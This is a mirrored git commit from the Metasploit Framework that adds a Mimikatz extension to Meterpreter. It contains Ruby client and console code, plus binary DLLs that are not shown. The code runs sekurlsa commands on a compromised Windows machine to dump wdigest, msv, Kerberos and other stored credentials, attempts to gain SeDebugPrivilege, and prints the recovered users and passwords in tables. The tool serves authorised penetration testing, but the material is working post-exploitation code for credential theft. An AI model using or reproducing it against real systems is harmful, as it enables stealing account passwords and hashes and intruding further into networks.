mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
Land #1747, mimikatz meterpreter extension
[Closes #1747] See rapid7/meterpreter#9
This commit is contained in:
commit
d53d6370b3
BIN
data/meterpreter/ext_server_mimikatz.dll
Executable file
BIN
data/meterpreter/ext_server_mimikatz.dll
Executable file
Binary file not shown.
BIN
data/meterpreter/ext_server_mimikatz.x64.dll
Executable file
BIN
data/meterpreter/ext_server_mimikatz.x64.dll
Executable file
Binary file not shown.
118
lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb
Normal file
118
lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb
Normal file
@ -0,0 +1,118 @@
|
||||
#!/usr/bin/env ruby
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'rex/post/meterpreter/extensions/mimikatz/tlv'
|
||||
require 'csv'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Mimikatz
|
||||
|
||||
###
|
||||
#
|
||||
# Mimikatz extension - grabs credentials from windows memory.
|
||||
#
|
||||
# Benjamin DELPY `gentilkiwi`
|
||||
# http://blog.gentilkiwi.com/mimikatz
|
||||
#
|
||||
# extension converted by Ben Campbell (Meatballs)
|
||||
###
|
||||
|
||||
class Mimikatz < Extension
|
||||
|
||||
def initialize(client)
|
||||
super(client, 'mimikatz')
|
||||
|
||||
client.register_extension_aliases(
|
||||
[
|
||||
{
|
||||
'name' => 'mimikatz',
|
||||
'ext' => self
|
||||
},
|
||||
])
|
||||
end
|
||||
|
||||
def send_custom_command(function, args=[])
|
||||
request = Packet.create_request('mimikatz_custom_command')
|
||||
request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function)
|
||||
args.each do |a|
|
||||
request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a)
|
||||
end
|
||||
response = client.send_request(request)
|
||||
return Rex::Text.to_ascii(response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT))
|
||||
end
|
||||
|
||||
def parse_creds_result(result)
|
||||
details = CSV.parse(result)
|
||||
accounts = []
|
||||
details.each do |acc|
|
||||
account = {
|
||||
:authid => acc[0],
|
||||
:package => acc[1],
|
||||
:user => acc[2],
|
||||
:domain => acc[3],
|
||||
:password => acc[4]
|
||||
}
|
||||
accounts << account
|
||||
end
|
||||
return accounts
|
||||
end
|
||||
|
||||
def parse_ssp_result(result)
|
||||
details = CSV.parse(result)
|
||||
accounts = []
|
||||
details.each do |acc|
|
||||
ssps = acc[4].split(' }')
|
||||
ssps.each do |ssp|
|
||||
s_acc = ssp.split(' ; ')
|
||||
user = s_acc[0].split('{ ')[1]
|
||||
account = {
|
||||
:authid => acc[0],
|
||||
:package => acc[1],
|
||||
:user => user,
|
||||
:domain => s_acc[1],
|
||||
:password => s_acc[2],
|
||||
:orig_user => acc[2],
|
||||
:orig_domain => acc[3]
|
||||
}
|
||||
accounts << account
|
||||
end
|
||||
end
|
||||
return accounts
|
||||
end
|
||||
|
||||
def wdigest
|
||||
result = send_custom_command('sekurlsa::wdigest')
|
||||
return parse_creds_result(result)
|
||||
end
|
||||
|
||||
def msv
|
||||
result = send_custom_command('sekurlsa::msv')
|
||||
return parse_creds_result(result)
|
||||
end
|
||||
|
||||
def livessp
|
||||
result = send_custom_command('sekurlsa::livessp')
|
||||
return parse_creds_result(result)
|
||||
end
|
||||
|
||||
def ssp
|
||||
result = send_custom_command('sekurlsa::ssp')
|
||||
return parse_ssp_result(result)
|
||||
end
|
||||
|
||||
def tspkg
|
||||
result = send_custom_command('sekurlsa::tspkg')
|
||||
return parse_creds_result(result)
|
||||
end
|
||||
|
||||
def kerberos
|
||||
result = send_custom_command('sekurlsa::kerberos')
|
||||
return parse_creds_result(result)
|
||||
end
|
||||
end
|
||||
|
||||
end; end; end; end; end
|
||||
|
16
lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb
Normal file
16
lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb
Normal file
@ -0,0 +1,16 @@
|
||||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Extensions
|
||||
module Mimikatz
|
||||
|
||||
TLV_TYPE_MIMIKATZ_RESULT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
|
||||
TLV_TYPE_MIMIKATZ_FUNCTION = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
|
||||
TLV_TYPE_MIMIKATZ_ARGUMENT = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
@ -0,0 +1,179 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'rex/post/meterpreter'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
module Meterpreter
|
||||
module Ui
|
||||
|
||||
###
|
||||
#
|
||||
# Mimikatz extension - grabs credentials from windows memory.
|
||||
#
|
||||
# Benjamin DELPY `gentilkiwi`
|
||||
# http://blog.gentilkiwi.com/mimikatz
|
||||
#
|
||||
# extension converted by Ben Campbell (Meatballs)
|
||||
###
|
||||
class Console::CommandDispatcher::Mimikatz
|
||||
|
||||
Klass = Console::CommandDispatcher::Mimikatz
|
||||
|
||||
include Console::CommandDispatcher
|
||||
|
||||
#
|
||||
# Initializes an instance of the priv command interaction.
|
||||
#
|
||||
def initialize(shell)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# List of supported commands.
|
||||
#
|
||||
def commands
|
||||
{
|
||||
"mimikatz_command" => "Run a custom commannd",
|
||||
"wdigest" => "Attempt to retrieve wdigest creds",
|
||||
"msv" => "Attempt to retrieve msv creds (hashes)",
|
||||
"livessp" => "Attempt to retrieve livessp creds",
|
||||
"ssp" => "Attempt to retrieve ssp creds",
|
||||
"tspkg" => "Attempt to retrieve tspkg creds",
|
||||
"kerberos" => "Attempt to retrieve kerberos creds"
|
||||
}
|
||||
end
|
||||
|
||||
@@command_opts = Rex::Parser::Arguments.new(
|
||||
"-f" => [true, "The function to pass to the command."],
|
||||
"-a" => [true, "The arguments to pass to the command."],
|
||||
"-h" => [false, "Help menu."]
|
||||
)
|
||||
|
||||
def cmd_mimikatz_command(*args)
|
||||
if (args.length == 0)
|
||||
args.unshift("-h")
|
||||
end
|
||||
|
||||
cmd_args = nil
|
||||
cmd_func = nil
|
||||
arguments = []
|
||||
|
||||
@@command_opts.parse(args) { |opt, idx, val|
|
||||
case opt
|
||||
when "-a"
|
||||
cmd_args = val
|
||||
when "-f"
|
||||
cmd_func = val
|
||||
when "-h"
|
||||
print(
|
||||
"Usage: mimikatz_command -f func -a args\n\n" +
|
||||
"Executes a mimikatz command on the remote machine.\n" +
|
||||
"e.g. mimikatz_command -f sekurlsa::wdigest -a \"full\"\n" +
|
||||
@@command_opts.usage)
|
||||
return true
|
||||
end
|
||||
}
|
||||
|
||||
unless cmd_func
|
||||
print_error("You must specify a function with -f")
|
||||
return true
|
||||
end
|
||||
|
||||
if cmd_args
|
||||
arguments = cmd_args.split(" ")
|
||||
end
|
||||
|
||||
print client.mimikatz.send_custom_command(cmd_func, arguments)
|
||||
print_line
|
||||
end
|
||||
|
||||
def mimikatz_request(provider, method)
|
||||
get_privs
|
||||
print_status("Retrieving #{provider} credentials")
|
||||
accounts = method.call
|
||||
|
||||
table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "#{provider} credentials",
|
||||
'Indent' => 0,
|
||||
'SortIndex' => 4,
|
||||
'Columns' =>
|
||||
[
|
||||
'AuthID', 'Package', 'Domain', 'User', 'Password'
|
||||
]
|
||||
)
|
||||
|
||||
accounts.each do |acc|
|
||||
table << [acc[:authid], acc[:package], acc[:domain], acc[:user], acc[:password]]
|
||||
end
|
||||
|
||||
table.print
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
def cmd_wdigest(*args)
|
||||
method = Proc.new { client.mimikatz.wdigest }
|
||||
mimikatz_request("wdigest", method)
|
||||
end
|
||||
|
||||
def cmd_msv(*args)
|
||||
method = Proc.new { client.mimikatz.msv }
|
||||
mimikatz_request("msv", method)
|
||||
end
|
||||
|
||||
def cmd_livessp(*args)
|
||||
method = Proc.new { client.mimikatz.livessp }
|
||||
mimikatz_request("livessp", method)
|
||||
end
|
||||
|
||||
def cmd_ssp(*args)
|
||||
method = Proc.new { client.mimikatz.ssp }
|
||||
mimikatz_request("ssp", method)
|
||||
end
|
||||
|
||||
def cmd_tspkg(*args)
|
||||
method = Proc.new { client.mimikatz.tspkg }
|
||||
mimikatz_request("tspkg", method)
|
||||
end
|
||||
|
||||
def cmd_kerberos(*args)
|
||||
method = Proc.new { client.mimikatz.kerberos }
|
||||
mimikatz_request("kerberos", method)
|
||||
end
|
||||
|
||||
def get_privs
|
||||
unless system_check
|
||||
print_status("Attempting to getprivs")
|
||||
privs = client.sys.config.getprivs
|
||||
unless privs.include? "SeDebugPrivilege"
|
||||
print_warning("Did not get SeDebugPrivilege")
|
||||
else
|
||||
print_good("Got SeDebugPrivilege")
|
||||
end
|
||||
else
|
||||
print_good("Running as SYSTEM")
|
||||
end
|
||||
end
|
||||
|
||||
def system_check
|
||||
unless (client.sys.config.getuid == "NT AUTHORITY\\SYSTEM")
|
||||
print_warning("Not currently running as SYSTEM")
|
||||
return false
|
||||
end
|
||||
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
# Name for this dispatcher
|
||||
#
|
||||
def name
|
||||
"Mimikatz"
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
Loading…
Reference in New Issue
Block a user